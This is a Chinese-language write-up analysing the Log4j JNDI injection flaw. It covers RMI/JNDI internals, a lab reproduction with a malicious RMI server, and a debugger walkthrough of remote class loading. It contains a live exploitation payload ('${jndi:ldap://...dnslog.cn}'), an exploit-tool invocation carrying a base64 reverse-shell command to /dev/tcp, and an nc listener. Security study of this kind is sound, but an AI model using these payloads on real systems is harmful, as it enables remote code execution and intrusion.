Log4j漏洞分析
原理
Log4j的lookup功能——本次漏洞是因为Log4j2组件中 lookup功能的实现类 JndiLookup
的设计缺陷导致,这个类存在于log4j-core-xxx.jar
中
在使用RMI之前,我们需要把被调用的类,注册到一个叫做RMI Registry的地方,只有把类注册到这个地方,调用者就能通过RMI Registry找到类所在 JVM 的 ip 和 port,才能跨越JVM完成远程方法的调用
调用者,我们称之为客户端,被调用者,我们则称之为服务端
RMI Registry,我们又叫它为RMI注册中心,它是一个独立的服务,但是,它又可以与服务端存在于同一个JVM内,而RMI Registry服务的创建非常的简单,仅需 LocateRegistry.createRegistry(12345);
一行代码即可完成
在服务器启动的时候,就启动了一个RMI的注册中心,接着把main主类暴露并注册到RMI注册中心,其中存储着主类的stub数据,包含有其所在服务器的ip和port。在客户端启动之后,通过连接RMI注册中心,并从其中根据名称查询到了对应的对象(JNDI),并把其数据下载到本地,然后RMI会根据stub存储的信息,也就是服务端中main实现暴露的ip和port,最后发起RMI请求,RMI后,服务端把序列化数据返回给客户端,客户端对其反序列化后输出
根据上述所说的流程,我们可以发现,如果要发起一个反序列化攻击,那么早在客户端 lookup的时候,就会从Registry注册中心下载数据,前面也说了“服务名称和对象或命名引用相关联”,我们就可以通过服务器 bind注册一个命名引用到Registry注册中心,也就是Reference,它具有三个参数,className、factory、classFactoryLocation,当客户端 lookup它并下载到本地后,会使用Reference的classFactoryLocation指定的地址去下载className指定class文件,接着加载并实例化,从而在客户端lookup的时候实现加载远程恶意class实现RCE
搭建复现环境
新建maven项目,引入依赖(客户端)
编写一个最简单的测试类, demo:
1 | ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} |
rmi服务端
1 | import com.sun.jndi.rmi.registry.ReferenceWrapper; |
1 | import javax.naming.Context; |
rmi客户端
若版本高于8u221,要加上这两句话
1 | System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); |
1 | import javax.naming.InitialContext; |
1 | import org.apache.logging.log4j.LogManager; |
执行过程
编译 Hello.java 为 .class文件(记得系统环境变量里的java版本要对应!踩坑了找了好久是什么问题),同时开启web服务(用idea里的tomcat或者python都可以)
成功执行
利用工具
https://github.com/welk1n/JNDI-Injection-Exploit
安装
1 | git clone https://github.com/welk1n/JNDI-Injection-Exploit.git |
接下来就会生成一个 .jar文件
接着利用工具开启服务
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguMjQ1LjEvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.245.1" |
那串base64是反弹shell命令 bash -i > /dev/tcp/127.0.0.1/8888 0>&1 自行更改
本地开启nc 监听 nc -Lvvp 8888
反弹shell我貌似成功不了
利用生成的rmi服务即可直接在客户端复现,无需自己搭建服务端
动态调试分析
从客户端的lookup函数出发
F7进入寻找其定义
再按F7找到函数定义
这里的var2基本就是得到主机,端口,还有绑定的对象的名字
跟进var3.lookup,可以看到lookup找到了注册中心的stub数据
跟进decodeObject函数,发现了加载了远程Reference绑定的恶意对象。我们的远程对象是ReferenceWrapper类的对象,也就是我们在Server构造的对象Reference reference = new Reference("swswssw", "swswssw", "http://127.0.0.1:8080/");
跟进返回的getObjectInstance函数
持续步过,发现注册中心找到了恶意类swswssw,并赋值给ref
ref不为空,进入关键函数getObjectFactoryFromReference
先直接加载类clas = helper.loadClass(factoryName);
,这里是正常的本地类加载,因为找不到swswssw类所以会加载失败
上面分析没有问题,找不到swswssw所以clas为空
我们注意到codebase,其值就是远程URL
跟进此时的类加载器,因为指定了codebase,这次用的类加载器将是URLClassLoader
返回值最后会在此处加载,调用Class.forName并制定了类加载来加载类,这样可以加载到swswssw。Class.forName加载类且第二个参数是true(默认也是true)会进行类的加载,也就是静态代码块。因此这时候静态代码块的代码可以执行。
这样函数返回值赋予clas,其为swswssw;返回函数调用它的newInstance()
,从而调用了无参构造器,执行了无参构造器里面的代码,这也是为什么我们把恶意代码写到无参构造器里面的原因。
这样,如果得到了对象且成功转换成了ObjectFactory,就会调用getObjectInstance方法,这也是为什么可以把代码写到getObjectInstance方法的原因。
此时开始执行恶意类中的恶意代码,首先打印
然后执行命令